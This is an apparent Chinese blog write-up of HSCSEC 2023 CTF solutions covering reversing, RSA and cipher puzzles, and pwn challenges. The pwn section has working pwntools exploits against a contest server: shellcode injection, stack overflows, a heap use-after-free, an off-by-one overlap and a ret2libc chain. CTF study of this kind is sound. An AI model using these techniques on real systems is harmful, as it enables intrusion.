[HSCSEC 2023] rev,pwn,crypto,Ancient-MISC部分

news2024/11/14 19:40:43

比赛后有讲解,没赶上,前20比赛完1小时提交WP,谁会大半夜的起来写WP。

总的感觉pwn,crypto过于简单,rev有2个难的不会,其它不是我的方向都感觉过于难,一个都没作。

rev

DECOMPILEONEOONE

入门题,一个简单的运算

  v6[0] = 0x5C797E8971697066LL;
  v6[1] = 0x8D83497D7F6F7A3DLL;
  v6[2] = 0x949DA8758277A9A5LL;
  v7 = 0xB7954D7C;
  *(_QWORD *)s = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0;
  puts("give me your flag:");
  __isoc99_scanf("%s", s);
  if ( strlen(s) == 28 )
  {
    for ( i = 0; i <= 27; ++i )
    {
      s[i] += 3 * i + 1;
      s[i] ^= (_BYTE)i + 1;
      if ( (i & 1) != 0 )
        v4 = s[i] - i - 1;
      else
        v4 = s[i] - i;
      s[i] = v4;
      if ( s[i] != *((_BYTE *)v6 + i) )
      {
        puts("that's a fake flag!\n");
        return 0;
      }
    }
    puts("congratulations!");
    return 0;
  }

换成python

from pwn import p64

v6 = p64(0x5C797E8971697066) + p64(0x8D83497D7F6F7A3D) + p64(0x949DA8758277A9A5) + p64(0xB7954D7C)

for i in range(28):
    for s in range(0x20,0x7f):
        v = s
        v+=3*i+1
        v^= i+1
        v-=i + (i&1) 
        if v == v6[i]:
            print(chr(s), end='')

#flag{reV3rSe_1s_sucH_hanD1e}

Whack-a-mole

这个有些难,到最后也没找到运算的逻辑。

先运行程序,是个windows窗口,里边有flag估计是点上就输出。但是点不上。

这是个啥也的程序不清楚,首先先找到入口。WinMain调用窗口执行pfnSubclass

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  unsigned int v4; // eax
  WNDCLASSW WndClass; // [esp+10h] [ebp-48h] BYREF
  struct tagMSG Msg; // [esp+38h] [ebp-20h] BYREF

  v4 = time64(0);
  srand(v4);
  WndClass.style = 0;
  WndClass.hIcon = 0;
  *(_QWORD *)&WndClass.cbClsExtra = 0i64;
  WndClass.lpszMenuName = 0;
  WndClass.lpszClassName = L"revme";
  WndClass.hInstance = hInstance;
  WndClass.hbrBackground = GetSysColorBrush(15);
  WndClass.lpfnWndProc = sub_401200;
  WndClass.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
  RegisterClassW(&WndClass);
  CreateWindowExW(0, WndClass.lpszClassName, L"revme", 0x10CF0000u, 150, 150, 400, 300, 0, 0, hInstance, 0);
  SetWindowSubclass(hWnd, pfnSubclass, 0x190u, 0);
  while ( GetMessageW(&Msg, 0, 0, 0) )
  {
    TranslateMessage(&Msg);
    DispatchMessageW(&Msg);
  }
  return Msg.wParam;
}

在pfnSubclass里有个判断0x200,这里是按钮跳的控制。

RESULT __stdcall pfnSubclass(
        HWND hWnd,
        UINT uMsg,
        WPARAM wParam,
        LPARAM lParam,
        UINT_PTR uIdSubclass,
        DWORD_PTR dwRefData)
{
  int v6; // edi
  int v7; // eax

  if ( uMsg == 512 )
  {
    v6 = rand() % 150 + 50;
    v7 = rand();
    SetWindowPos(::hWnd, 0, v6, v7 % 150 + 50, 80, 25, 0);
  }
  return DefSubclassProc(hWnd, uMsg, wParam, lParam);
}

把这里的判断改掉让他不跳,点中后报错

"Oops,no flag...plz look carefully:("

拿到这个报错找到处理逻辑

LRESULT __stdcall sub_401200(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  HWND v4; // ebx
  LPARAM v5; // edi
  _DWORD *v6; // ebx
  char *v7; // ecx
  char *v8; // edi
  int v9; // eax
  _BYTE *v10; // esi
  int v11; // ecx
  _BYTE *v12; // ecx
  int v13; // edx
  _DWORD *v14; // ecx
  int v15; // ebx
  int v16; // edx
  char v17; // al
  bool v18; // zf
  char *v19; // eax
  _DWORD *v20; // edi
  char *v21; // ebx
  int v22; // edx
  int v23; // esi
  int v24; // ecx
  char *v25; // esi
  int v26; // edi
  char *v27; // esi
  FILE *v28; // eax
  FILE *v29; // edi
  LONG WindowLongW; // eax
  int v32; // [esp+Ch] [ebp-10h]
  int v33; // [esp+Ch] [ebp-10h]
  char *v34; // [esp+10h] [ebp-Ch]
  char *v35; // [esp+14h] [ebp-8h]
  const char *v36; // [esp+18h] [ebp-4h]

  v4 = hWnd;
  v5 = lParam;
  if ( Msg == 1 )
  {
    ::hWnd = CreateWindowExW(0, L"Button", L"flag", 0x50000000u, 85, 150, 80, 25, hWnd, (HMENU)3, 0, 0);
    CreateWindowExW(0, L"Button", L"give up", 0x50000000u, 185, 150, 80, 25, hWnd, (HMENU)2, 0, 0);
    CreateWindowExW(0, L"Static", (LPCWSTR)"t", 0x50000000u, 85, 100, 300, 20, hWnd, (HMENU)1, 0, 0);
    WindowLongW = GetWindowLongW(hWnd, -16);
    SetWindowLongW(hWnd, -16, WindowLongW & 0xFFFEFFFF);
    return DefWindowProcW(v4, Msg, wParam, v5);
  }
  if ( Msg == 2 )
    goto LABEL_23;
  if ( Msg != 273 )
    return DefWindowProcW(v4, Msg, wParam, v5);
  if ( (unsigned __int16)wParam == 2 )
  {
LABEL_23:
    PostQuitMessage(0);
    return DefWindowProcW(v4, Msg, wParam, v5);
  }
  if ( (unsigned __int16)wParam == 3 )
  {
    if ( lParam == 3301 )
    {
      v6 = &unk_405390;
      v36 = "7dnaicms7skf0ws2t";
      v7 = "7skf0ws2t";
      v34 = (char *)&unk_405390;
      v35 = "7skf0ws2t";
      v8 = byte_403170;
      v32 = 9;
      do
      {
        v9 = *(_DWORD *)v7;
        v10 = v6;
        v6[1] = *((_DWORD *)v7 + 1);
        v11 = 8;
        *v6 = v9;
        do
        {
          *v10 = byte_403170[(unsigned __int8)*v10];
          ++v10;
          --v11;
        }
        while ( v11 );
        sub_401110(v6);
        v12 = v6;
        v13 = 8;
        do
        {
          *v12++ ^= *v8++;
          --v13;
        }
        while ( v13 );
        v14 = v6;
        v15 = v36 - (const char *)v6;
        v16 = 8;
        do
        {
          v17 = *((_BYTE *)v14 + v15);
          v14 = (_DWORD *)((char *)v14 + 1);
          *((_BYTE *)v14 - 1) ^= v17;
          --v16;
        }
        while ( v16 );
        v18 = v32-- == 1;
        v7 = v34;
        v19 = v35;
        v35 = v34;
        v6 = v10;
        v36 = v19;
        v34 = v10;
      }
      while ( !v18 );
      v20 = &unk_405390;
      v33 = 4;
      v21 = (char *)&unk_4053D0;
      do
      {
        v18 = v33-- == 1;
        v20 += 2;
        v22 = *(v20 - 2);
        v21 -= 8;
        v23 = *(v20 - 1);
        v24 = *((_DWORD *)v21 + 3);
        *(v20 - 2) = *((_DWORD *)v21 + 2);
        *(v20 - 1) = v24;
        *((_DWORD *)v21 + 2) = v22;
        *((_DWORD *)v21 + 3) = v23;
      }
      while ( !v18 );
      v25 = (char *)&unk_405398;
      v26 = 7;
      do
      {
        sub_401110(v25);
        v25 += 8;
        --v26;
      }
      while ( v26 );
      sub_401050(&Source);
      sub_401050(&unk_405020);
      v27 = (char *)malloc(0x10u);
      strncpy(v27, &Source, 0x10u);
      MessageBoxW(hWnd, L"flag already saved to aaa.txt", L"GOOD JOB!!", 0);
      v28 = fopen("aaa.txt", L"w");
      v29 = v28;
      if ( !v28 )
      {
        MessageBoxW(hWnd, L"open file error", L"Error", 0);
        free(v27);
        exit(-1);
      }
      fwrite(v27, 1u, 0x10u, v28);
      fclose(v29);
      free(v27);
      v4 = hWnd;
      v5 = 3301;
    }
    else
    {
      MessageBoxW(hWnd, L"Oops,no flag...plz look carefully:(", L"Error", 0);
    }
  }
  return DefWindowProcW(v4, Msg, wParam, v5);
}

这里边有两个判断

第1个是49行的msg !=273 退出

第2个是59行的lParam == 3301 进入写flag

所以在这里patch一下程序,这里的200改为111

.text:004014C3 81 7D 0C 00 02 00 00          cmp     [ebp+uMsg], 200h

这里 74 (jz)改为75 (jnz) 让if反转

.text:0040124D 74 18                         jz      short loc_401267

然后运行程序会写flag.txt文件,不过这题有点特殊其它的都是用HSCSEC壳,这个用flag

w1n32_aPi_iS_FUn
flag{w1n32_aPi_iS_FUn}

Base secrets

估计又是C++啥的程序写的,变量巨长,视觉上增加难度。

void __noreturn base64::main::h8d09d41539d521ef()
{
  int v0; // eax
  _str v1; // rax
  core::result::Result<usize,std::io::error::Error> v2; // [esp+0h] [ebp-D0h]
  ___str_ v3; // [esp+4h] [ebp-CCh]
  ___str_ v4; // [esp+4h] [ebp-CCh]
  ___str_ v5; // [esp+4h] [ebp-CCh]
  __core::fmt::ArgumentV1_ v6; // [esp+Ch] [ebp-C4h]
  __core::fmt::ArgumentV1_ v7; // [esp+Ch] [ebp-C4h]
  __core::fmt::ArgumentV1_ v8; // [esp+Ch] [ebp-C4h]
  core::fmt::Arguments v9; // [esp+3Ch] [ebp-94h] BYREF
  __core::fmt::ArgumentV1_ args; // [esp+54h] [ebp-7Ch] BYREF
  alloc::string::String inputstr; // [esp+5Ch] [ebp-74h] BYREF
  _str secret; // [esp+68h] [ebp-68h] BYREF
  char v13; // [esp+70h] [ebp-60h] BYREF
  int v14; // [esp+78h] [ebp-58h]
  alloc::string::String tstr; // [esp+7Ch] [ebp-54h] BYREF
  core::fmt::Arguments v16; // [esp+88h] [ebp-48h] BYREF
  core::fmt::ArgumentV1 v17; // [esp+A0h] [ebp-30h] BYREF
  core::fmt::Arguments v18; // [esp+A8h] [ebp-28h] BYREF
  core::fmt::ArgumentV1 v19; // [esp+C0h] [ebp-10h] BYREF

  args = (__core::fmt::ArgumentV1_)core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&x);
  v3.data_ptr = (_str *)&pieces;
  v3.length = 2;
  v6.data_ptr = (core::fmt::ArgumentV1 *)&args;
  v6.length = 1;
  core::fmt::Arguments::new_v1::h798f53dc69339845(&v9, v3, v6);
  std::io::stdio::_print::hf063fbe3e71516fe();
  alloc::string::String::new::h007ebff4f83ba4cc(&inputstr);
  secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";// base64的密文44字节
  secret.length = 44;
  std::io::stdio::stdin::h732159ffb928152a();
  v14 = v0;
  std::io::stdio::Stdin::read_line::h5c0cf1c7e8922086();
  *(_DWORD *)v2.gap0 = &v13;
  *(_DWORD *)&v2.gap0[4] = 4928728;
  core::result::Result$LT$T$C$E$GT$::unwrap::h5a9311bcc8369470(v2);
  v1 = _$LT$alloc..string..String$u20$as$u20$core..ops..deref..Deref$GT$::deref::h5b5b76767b35bbdc(&inputstr);
  base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码
  if ( !_$LT$alloc..string..String$u20$as$u20$core..cmp..PartialEq$LT$$RF$str$GT$$GT$::eq::h68fb5c598021c6a9(
          &tstr,
          &secret) )
  {
    v19 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B3540);
    v8.data_ptr = &v19;
    v8.length = 1;
    v5.length = 2;
    v5.data_ptr = (_str *)&pieces;
    core::fmt::Arguments::new_v1::h798f53dc69339845(&v18, v5, v8);
    std::io::stdio::_print::hf063fbe3e71516fe();
    std::process::exit::h86e1d779ebfe0c3e();
  }
  v17 = core::fmt::ArgumentV1::new_display::h1ad73d91458110e6((_str *)&off_4B350C);
  v7.data_ptr = &v17;
  v7.length = 1;
  v4.length = 2;
  v4.data_ptr = (_str *)&pieces;
  core::fmt::Arguments::new_v1::h798f53dc69339845(&v16, v4, v7);
  std::io::stdio::_print::hf063fbe3e71516fe();
  std::process::exit::h86e1d779ebfe0c3e();
}

主程序里看到两个东西:

secret.data_ptr = (u8 *)"hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo= 1K";

这个应该是密文

base64::base64_encode::h366e735ee236a687(&tstr, v1);// base64编码

这个写着是base64估计就大概是base64变表,进到里边发现几个查表语句

memcpy(v37, &::self, sizeof(v37));          // &::self 码表

然后点到::self看下码表,果然是变表。

code    = '456789+-IJKLMNOPQRSTUVWXghijklmnYZabcdefopqrstuvwxyz0123ABCDEFGH='
b64code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
c = "hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=" # ' 1K'
from base64 import *

m = ''.join(b64code[code.index(v)] for v in c)
print(b64decode(m))
#flag{rUs7_n0_pr0b1EM_s0_yisey}

后边两个都无从下手,等官方的WP,官方说有。都一天了,估计还在写。

PWN

EZPWN

入门题,main调用了hacker,在hacker里调用mprotect将内存修改为可写可执行。然后有个写溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  hacker();
  return 0;
}
__int64 hacker()
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  void *addr; // [rsp+100h] [rbp-10h]
  int v3; // [rsp+10Ch] [rbp-4h]

  v3 = getpagesize();
  addr = (void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL);
  mprotect((void *)((unsigned __int64)buf2 & 0xFFFFFFFFFFFFF000LL), v3, 7);
  puts("input:");
  read(0, buf, 0x200uLL);
  strncpy(buf2, buf, 0x64uLL);
  printf("bye bye ~");
  return 0LL;
}

先把shellcode放在前边,后边利用溢出作个跳转。

from pwn import *

p = remote('43.143.254.94', 10176)
#p = process('EZPWN')

context(arch='amd64', log_level='debug')

pay = asm(shellcraft.amd64.linux.sh()).ljust(0x110, b'\x90')+ flat(0x404800, 0x404080) 

#p.sendlineafter(b"input:", pay)
p.sendline(pay)

p.interactive()

#HSCSEC{71d13c5a-5102-4944-aa5c-7e6f23c264fd}

Morris II

有菜单但不是菜单题,程序很长长长长。硬着头皮看。

int __cdecl select_main()
{
  int iselect; // [rsp+Ch] [rbp-4h] BYREF

  puts(a0GoOut);
  printf(aChooseAnAction);
  __isoc99_scanf(&unk_402103, &iselect);        // %d
  while ( 1 )
  {
    switch ( iselect )
    {
      case 0:
        find_enemies();                         // confirm_input();  有溢出,溢出到后门
        break;
      case 1:
        dined();
        break;
      case 2:
        shop();                                 // shop
        break;
      case 3:
        work();                                 // 随机-degree +coin
        break;
      case 4:
        attribute();                            // 显示
        break;
      default:
        continue;
    }
  }
}
void __cdecl fight_system()
{
  unsigned int v0; // eax
  int select; // [rsp+1Ch] [rbp-14h] BYREF
  int Player_fight; // [rsp+20h] [rbp-10h]
  int s; // [rsp+24h] [rbp-Ch]
  int w; // [rsp+28h] [rbp-8h]
  int Enemies_blood; // [rsp+2Ch] [rbp-4h]

  v0 = time(0LL);
  srand(v0);
  w = rand() % 3;
  s = rand() % 10;
  Player_fight = player_fight;
  Enemies_blood = enemies_blood[s];
  puts("\n******************************entered battle mode***************************************");
  printf(format, (unsigned int)player_blood);
  while ( player_blood > 0 && Enemies_blood > 0 && player_degree_of_hunger > 30 )
  {
    confirm_input();                            // 有溢出
......
}
int __cdecl confirm_input()
{
  char hero_name[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("\ntype yor hero's name!:");
  read(0, hero_name, 0x64uLL);
  puts("confirmed.");
  return 0;
}
int __cdecl dontlookatme()
{
  system("/bin/sh");
  return 0;
}

发现第1个菜单处有溢出,而且有后门函数,这就简单了。其实有溢出,有没有后门都好办。

from pwn import *

#p = process('Morris_II')
p = remote('43.143.254.94', 10365)

context(arch='amd64', log_level= 'debug')

p.sendlineafter(b'choose an action from below\xef\xbc\x9a', b'0')
#ret + dontlookatme()
p.sendlineafter(b"type yor hero's name!:\n", b'\x00'*0x18 + flat(0x401d04, 0x401236))

p.interactive()
#HSCSEC{48cc6864-8ab7-48a5-9075-92b09a69bb3e}

EasyHeap

回到菜单题了。很标准的菜单,在free没有清指针有UAF,并且有后门。

void __cdecl __noreturn main(int a1)
{
  int v1; // [esp+0h] [ebp-14h]
  char s[4]; // [esp+4h] [ebp-10h] BYREF
  unsigned int v3; // [esp+8h] [ebp-Ch]
  int *v4; // [esp+Ch] [ebp-8h]

  v4 = &a1;
  v3 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_80495E8();
      memset(s, 0, sizeof(s));
      read(0, s, 4u);
      v1 = atoi(s);
      if ( v1 != 1 )
        break;
      m1_add();
    }
    if ( v1 == 2 )
    {
      m2_free();                                // UAF
    }
    else if ( v1 == 3 )
    {
      m3_show();
    }
    else
    {
      if ( v1 == 4 )
        exit(-1);
      puts("Invalid option.");
    }
  }
}
unsigned int m2_free()
{
  unsigned int result; // eax
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Note id: ");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804C060 )
  {
    puts("Invalid id!");
    _exit(-1);
  }
  if ( dword_804C04C[v1] )
  {
    free(*(void **)(dword_804C04C[v1] + 4));
    free((void *)dword_804C04C[v1]);  //没有清指针
    puts("Deleted!");
  }
  result = v3 - __readgsdword(0x14u);
  if ( result )
    sub_8049790();
  return result;
}

块包含管理块和数据块,管理块有调用puts的函数指针和指向数据块的指针。

先建两个比8大的块,两个管理块是8,free后再建大小为8的块,这样数据块会使用0块的管理块,达到写管理块指针的目的。由于这里有后门,直接写后门就行。不然还有一点小麻烦,因为指针是自己还不是+4,所以这个还需要绕过。

from pwn import *

#p = process('./easyHeap')
p = remote('43.143.254.94', 10044)

context(arch='i386', log_level='debug')
def add(size,msg):
    p.sendlineafter(b"Input Option: ", b'1')
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendlineafter(b"Input Option: ", b'2')
    p.sendlineafter(b"Note id: ", str(idx).encode())
    
def show(idx):
    p.sendlineafter(b"Input Option: ", b'3')
    p.sendlineafter(b"Note id: ", str(idx).encode())

add(0x10,b'A') #0
add(0x20,b'A') #1
free(0)
free(1)
add(0x8, flat(0x80495bd)) #到后门 system('cat /flag')

show(0)
p.interactive()

Dead Star Weapon Management System

这名字为什么起了这么长。

第2个菜单题,漏洞在edit这里修改的长度多了1

unsigned __int64 m3_change()
{
  unsigned int v0; // eax
  signed int v1; // ebx
  char buf[4]; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  puts("weapon index:");
  read(0, buf, 4uLL);
  v0 = strtol(buf, 0LL, 10);
  if ( v0 > 4 )
  {
    puts("[!]index malform.");
    _exit(0);
  }
  v1 = v0;
  if ( *(&ptr + (int)v0) )
  {
    puts("your additional info:");
    read_n(*((void **)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1) + 1LL);// 参2长度,溢出
    puts("weapon changed.");
  }
  else
  {
    puts("[!]weapon not found.!");
  }
  return __readfsqword(0x28u) ^ v4;
}

块结构跟上一题类似,管理块有size和ptr指向数据块

在edit里会允许多写1字节。通过这个溢出可以修改下一块的长度,改大,当下一块free后会再建会形成重叠,达到修改指针目的。

先造一个这样的结构,

先建0x18的0和1,将1free在得到两个20的fastbin,再建0x28的1,2让1,2的头连在一起,这里利用漏洞修改head1的大小,然后将1释放,释放的块包含块2的头,再建1,大小为0x38的块就能用后部覆盖2块的头。

将2的头ptr改为指向got表,show(2)得到libc地址,再将got.free改为指向system

from pwn import *

#p = process('./deathstar_admin')
p = remote('43.143.254.94', 10689)

elf = ELF('./deathstar_admin')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu10-amd64/libc6_2.23-0ubuntu10_amd64.so')

context(arch='amd64', log_level='debug')

def add(size,msg):
    p.sendlineafter(b"[?]choose an action:\n" ,b'1')
    p.sendlineafter(b"weapon length:\n", str(size).encode())
    p.sendafter(b"weapon detail:\n", msg)

def show(idx):
    p.sendlineafter(b"[?]choose an action:\n" ,b'2')
    p.sendlineafter(b"weapon index:\n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b"[?]choose an action:\n" ,b'3')
    p.sendlineafter(b"weapon index:\n", str(idx).encode())
    p.sendafter(b"your additional info:\n", msg)     #off_by_one

def free(idx):
    p.sendlineafter(b"[?]choose an action:\n" ,b'4')
    p.sendlineafter(b"weapon index:\n", str(idx).encode())

add(0x18,b'A')
add(0x18,b'A') #1
free(1)
add(0x28,b'B') #1
add(0x28,b'C') #2 save
edit(0, b'A'*(0x18+1)) #size改为 0x41
free(1)
add(0x38, b'/bin/sh\x00'+b'A'*0x10 + flat(0x21, 8, elf.got['free'])) #1head+2head
show(2)
p.recvuntil(b'info:')

libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print('libc:', hex(libc.address))

edit(2, p64(libc.sym['system']))
free(1)
p.interactive()
#HSCSEC{4bf9597e-e58b-4485-99f9-71d05c0f5d8a}

Safe Program

最后一个pwn,感觉这题个头太小。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 v4[9]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v5; // [rsp+48h] [rbp-8h]
  char v6; // [rsp+4Ah] [rbp-6h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(v4, 0, sizeof(v4));
  v5 = 0;
  v6 = 0;
  puts("i am a simple repeater with no way to exploit.\n");
  puts("you can talk to me now:\n");
  sub_4011D6(v4);
  return 0LL;
}
ssize_t __fastcall sub_4011D6(void *a1)
{
  char buf[127]; // [rsp+10h] [rbp-80h] BYREF
  char v3; // [rsp+8Fh] [rbp-1h]

  sleep(3u);
  v3 = 0;
  setbuf(stdin, buf);
  memcpy(a1, buf, v3);
  return read(0, buf, 0x16DuLL);
}

就是一个溢出,别的什么都没有。

from pwn import *

#p = process('./Safe_Program')
p = remote('43.143.254.94', 10972)

context(arch='amd64', log_level= 'debug')
elf = ELF('./Safe_Program')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

pop_rdi = 0x0000000000401393 # pop rdi ; ret
bss = 0x404800

sleep(3)
p.sendafter(b"you can talk to me now:\n\n", flat(b'\x00'*0x80,bss, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x4011d6))

libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00'))  - libc.sym['puts']

p.send(flat(b'\x00'*0x80,bss, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'], 0x4011d6))

p.interactive()

Ancient-MISC

两个MISC其实都不会,赛后看了群里说的WP,感觉有点意思,在这里存一下。

Deduced gossip

第一题是八卦,但群里说是九宫八卦,脑子没转到那。这是洛书九宫与八卦的对应图

这样把给的东西转码就是9进制(1转为0,... 9转成8)

原题

☲☵ ☷☵☳ ☶空 ☷☵☳ ☶☱ ☶空 ☷空☱ ☶空 ☷☳☰ ☷☳☱ ☷☴☳ ☷☳☳ ☷☴☶ ☷☳☳ ☷☷☰ ☷☳空 ☰☴ ☷☴☶ ☷☴☶ ☷☴空 ☷空☲

转码程序,刚开始不知道对应关系,用flag头猜的,最后乾和巽猜一下也行。

def k9(n):
    k=''
    while n>0:
        k=str(n%9)+k 
        n//=9
    return k 

for v in b'HSCSEC{}':
    print(str(k9(v)), end=',')
#80,102,74,102,76,74,146,148,

a = "80,102,74,102,76,74,146,74,125,126,132,122,137,122,115,124,53,137,137,134,148"
print(''.join([chr(int(v,9)) for v in a.split(',')]))
#HSCSEC{Chinese_g0ssp}
#HSCSEC{Chinese_g0ssip} 提交加i

Watch the sky at night

第二个以为是28进制,怎么也没转出来。后来WP说是4进制,恍然大悟。东西南北四方七宿各为一个数字就成了4进制,4个正好是一个字符。

斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐

今天这是咋了,写一点菜单就没了。发布好几次。4个符号对应哪个数字再爆破。通过头也可以定。

a = '''
斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐'''
#应为 壁水獝
dic = {
'E':['角木蛟','亢金龙','氐土貉','房日兔','心月狐','尾火虎','箕水豹'],
'S':['井木犴','鬼金羊','柳土獐','星日马','张月鹿','翼火蛇','轸水蚓'],
'W':['奎木狼','娄金狗','胃土雉','昴日鸡','毕月乌','觜火猴','参水猿'],
'N':['斗木獬','牛金牛','女土蝠','虚日鼠','危月燕','室火猪','壁水貐']}

f = ''
a = a.replace('\r\n','').replace(' ','').replace('\n','')
for i in range(0,len(a),3):
    v = a[i:i+3]
    for j in dic:
        if v in dic[j]:
            f+=j

from itertools import permutations
num = '0123'
for v in permutations(num,4):
    tmp = f.replace('N',v[0]).replace('S',v[1]).replace('W',v[2]).replace('E',v[3])
    flag = ''.join([chr(int(tmp[m:m+4], 4)) for m in range(0,len(tmp),4)])
    if 'HSCSEC{' in flag:
        print(flag)
#HSCSEC{CN_Ancient_AP} 

Crypto

EZRSA

这个就都比较简单了。

from flag import m

p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =',n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M,e,n)
print('c =',c)

显然M有因子p,n也有 c = M^e - kn 所以c 也有,gcd(c,n)就能得到p,由于m一般很小m*2022*e*p不会大于n,所以后边就直接除。

from Crypto.Util.number import *
from math import gcd
import gmpy2

e = 0x10001
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
p = gcd(c,n)
q = n//p
d = gmpy2.invert(e, (p-1)*(q-1))

M = pow(c,d,n)

m = M//2022//e//p

flag = long_to_bytes(m)
print(flag)   
#flag{3e5e2789a93a80615cc35edbff397c05}
#HSCSEC{3e5e2789a93a80615cc35edbff397c05}    

Operator

这题没弄清楚出题是什么意思,就是个除法,直接除

#!/bin/python3
from Crypto.Util.number import bytes_to_long, getPrime

FLAG = "*******************MASK****************"

# print(FLAG)
number1 = getPrime(512)
number2 = getPrime(1024)
print(number1)
result = FLAG * number1 % number2
print(result)
Output:
n1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
res = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771

bytes.fromhex(hex(res//n1)[2:])
#flag{qMmZqWvmj70bBsCfmVLT}
#HSCSEC{qMmZqWvmj70bBsCfmVLT}

EZVC

感觉回到逆向了。明显都是逆向的内容。正好晚上打算睡觉的时候上的新题,直接弄个一血,然后睡个好觉。

import flag
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
key = 'HSC'
assert flag.startswith('HSCSEC{')
flag_num_list = []
c = []
for item in flag:
    flag_num_list.append(alphabet.find(item) + 1)
key_num = alphabet.find(key) + 1   #0
for i in flag_num_list:
    m = (i + key_num) % 94 - 1
    if m == 0:
        c.append("□") #e2 96 a1   0x25a1
    c.append(alphabet[m-1:m])
print("c = {}".format(''.join(c)))
